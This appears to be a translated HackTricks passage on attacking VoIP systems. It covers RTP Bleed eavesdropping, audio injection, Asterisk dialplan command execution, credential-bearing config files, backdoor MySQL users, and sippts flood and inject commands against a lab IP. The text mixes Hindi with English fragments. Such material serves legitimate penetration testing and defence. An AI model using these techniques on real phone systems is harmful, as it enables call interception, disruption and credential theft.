RTP प्रॉक्सी RTC सिस्टम को प्रभावित करने वाली NAT सीमाओं को संबोधित करने का प्रयास करते हैं, RTP स्ट्रीम को दो या अधिक पक्षों के बीच प्रॉक्सी करके। जब NAT लागू होता है, तो RTP प्रॉक्सी सॉफ़्टवेयर अक्सर सिग्नलिंग (जैसे SIP) के माध्यम से प्राप्त RTP IP और पोर्ट जानकारी पर भरोसा नहीं कर सकता। इसलिए, कई RTP प्रॉक्सियों ने एक तंत्र लागू किया है जहाँ ऐसा IP और पोर्ट टुपलेट स्वचालित रूप से सीखा जाता है। यह अक्सर आने वाले RTP ट्रैफ़िक का निरीक्षण करके और किसी भी आने वाले RTP ट्रैफ़िक के लिए स्रोत IP और पोर्ट को चिह्नित करके किया जाता है जिसे प्रतिक्रिया दी जानी चाहिए। इस तंत्र को "सीखने का मोड" कहा जा सकता है, यह किसी प्रकार के प्रमाणीकरण का उपयोग नहीं करता है। इसलिए हमलावर RTP ट्रैफ़िक RTP प्रॉक्सी को भेज सकते हैं और उस प्रॉक्सी किए गए RTP ट्रैफ़िक को प्राप्त कर सकते हैं जो एक चल रहे RTP स्ट्रीम के कॉलर या कली के लिए होना चाहिए। हम इस भेद्यता को RTP Bleed कहते हैं क्योंकि यह हमलावरों को वैध उपयोगकर्ताओं के लिए भेजे जाने वाले RTP मीडिया स्ट्रीम प्राप्त करने की अनुमति देता है।
RTP प्रॉक्सियों और RTP स्टैक्स का एक और दिलचस्प व्यवहार यह है कि कभी-कभी, भले ही RTP Bleed के लिए संवेदनशील न हों, वे किसी भी स्रोत से RTP पैकेट स्वीकार, अग्रेषित और/या संसाधित करेंगे। इसलिए हमलावर RTP पैकेट भेज सकते हैं जो उन्हें वैध मीडिया के बजाय अपना मीडिया इंजेक्ट करने की अनुमति दे सकते हैं। हम इस हमले को RTP इंजेक्शन कहते हैं क्योंकि यह मौजूदा RTP स्ट्रीम में अवैध RTP पैकेटों के इंजेक्शन की अनुमति देता है। यह भेद्यता RTP प्रॉक्सियों और एंडपॉइंट्स दोनों में पाई जा सकती है।
Asterisk और FreePBX ने पारंपरिक रूप से NAT=yes
सेटिंग का उपयोग किया है, जो RTP ट्रैफ़िक को प्रमाणीकरण को बायपास करने की अनुमति देता है, जिससे कॉल पर कोई ऑडियो या एकतरफा ऑडियो हो सकता है।
अधिक जानकारी के लिए देखें https://www.rtpbleed.com/
SIPPTS rtpbleed
से sippts: SIPPTS rtpbleed RTP स्ट्रीम भेजकर RTP Bleed भेद्यता का पता लगाता है।
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
from sippts: SIPPTS rtcpbleed RTP Bleed भेद्यता का पता लगाता है RTCP स्ट्रीम भेजकर।
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
from sippts: SIPPTS rtpbleedflood RTP ब्लीड कमजोरियों का शोषण RTP स्ट्रीम भेजकर करता है।
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
from sippts: SIPPTS rtpbleedinject RTP Bleed कमजोरियों का फायदा उठाता है, एक ऑडियो फ़ाइल (WAV प्रारूप) इंजेक्ट करके।
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Asterisk में आप किसी तरह extension नियम जोड़ने और उन्हें फिर से लोड करने में सक्षम होते हैं (उदाहरण के लिए, एक कमजोर वेब प्रबंधक सर्वर से समझौता करके), यह संभव है कि आप System
कमांड का उपयोग करके RCE प्राप्त कर सकें।
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called Shell
that could be used instead of System
to execute system commands if necessary.
warning
If the server is कुछ विशेष वर्णों के उपयोग को System
कमांड में अनुमति नहीं दे रहा है (जैसे Elastix में), तो जांचें कि क्या वेब सर्वर किसी तरह से सिस्टम के अंदर फ़ाइलें बनाने की अनुमति देता है (जैसे Elastix या trixbox में), और इसका उपयोग एक बैकडोर स्क्रिप्ट बनाने के लिए करें और फिर System
का उपयोग करके उस स्क्रिप्ट को निष्पादित करें।
दिलचस्प स्थानीय फ़ाइलें और अनुमतियाँ
sip.conf
-> SIP उपयोगकर्ताओं का पासवर्ड शामिल है।- यदि Asterisk सर्वर रूट के रूप में चल रहा है, तो आप रूट को समझौता कर सकते हैं।
- mysql रूट उपयोगकर्ता का कोई पासवर्ड नहीं हो सकता।
- इसका उपयोग एक नए mysql उपयोगकर्ता को बैकडोर के रूप में बनाने के लिए किया जा सकता है।
FreePBX
amportal.conf
-> वेब पैनल प्रशासक (FreePBX) का पासवर्ड शामिल है।FreePBX.conf
-> डेटाबेस तक पहुँचने के लिए उपयोगकर्ता FreePBXuser का पासवर्ड शामिल है।- इसका उपयोग एक नए mysql उपयोगकर्ता को बैकडोर के रूप में बनाने के लिए किया जा सकता है।
Elastix
Elastix.conf
-> कई पासवर्ड स्पष्ट पाठ में शामिल हैं जैसे mysql रूट पास, IMAPd पास, वेब प्रशासक पास।- कई फ़ोल्डर समझौता किए गए asterisk उपयोगकर्ता के अंतर्गत आएंगे (यदि रूट के रूप में नहीं चल रहा है)। यह उपयोगकर्ता पिछले फ़ाइलों को पढ़ सकता है और साथ ही कॉन्फ़िगरेशन को नियंत्रित कर सकता है, इसलिए वह Asterisk को निष्पादित होने पर अन्य बैकडोर बाइनरी लोड करने के लिए बना सकता है।
RTP इंजेक्शन
यह .wav
को बातचीत में डालना संभव है, जैसे उपकरणों का उपयोग करके rtpinsertsound
(sudo apt install rtpinsertsound
) और rtpmixsound
(sudo apt install rtpmixsound
)।
या आप http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ से स्क्रिप्ट का उपयोग कर सकते हैं बातचीत को स्कैन करने के लिए (rtpscan.pl
), बातचीत में एक .wav
भेजने के लिए (rtpsend.pl
) और बातचीत में शोर डालने के लिए (rtpflood.pl
)।
DoS
VoIP सर्वरों में DoS प्राप्त करने के कई तरीके हैं।
SIPPTS flood
from sippts**: SIPPTS flood लक्ष्य पर अनंत संदेश भेजता है।sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
from sippts**: SIP ping सर्वर प्रतिक्रिया समय देखने के लिए करता है।sippts ping -i 10.10.0.10
- IAXFlooder: Asterisk द्वारा उपयोग किया जाने वाला DoS IAX प्रोटोकॉल।
- inviteflood: UDP/IP पर SIP/SDP INVITE संदेश बाढ़ करने के लिए एक उपकरण।
- rtpflood: कई अच्छी तरह से निर्मित RTP पैकेट भेजें। RTP पोर्ट जानना आवश्यक है जो उपयोग किए जा रहे हैं (पहले स्निफ़ करें)।
- SIPp: SIP ट्रैफ़िक का विश्लेषण और उत्पन्न करने की अनुमति देता है। इसलिए इसका उपयोग DoS के लिए भी किया जा सकता है।
- SIPsak: SIP स्विस आर्मी चाकू। इसका उपयोग SIP हमलों को करने के लिए भी किया जा सकता है।
- Fuzzers: protos-sip, voiper。
OS कमजोरियाँ
Asterisk जैसे सॉफ़्टवेयर को स्थापित करने का सबसे आसान तरीका एक OS वितरण डाउनलोड करना है जिसमें यह पहले से स्थापित है, जैसे: FreePBX, Elastix, Trixbox... इनका समस्या यह है कि एक बार जब यह काम करने लगता है, तो सिस्टम प्रशासक शायद इन्हें फिर से अपडेट नहीं करें और कमजोरियाँ समय के साथ खोजी जाएँगी।
संदर्भ
- https://github.com/Pepelux/sippts/wiki
- https://github.com/EnableSecurity/sipvicious
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।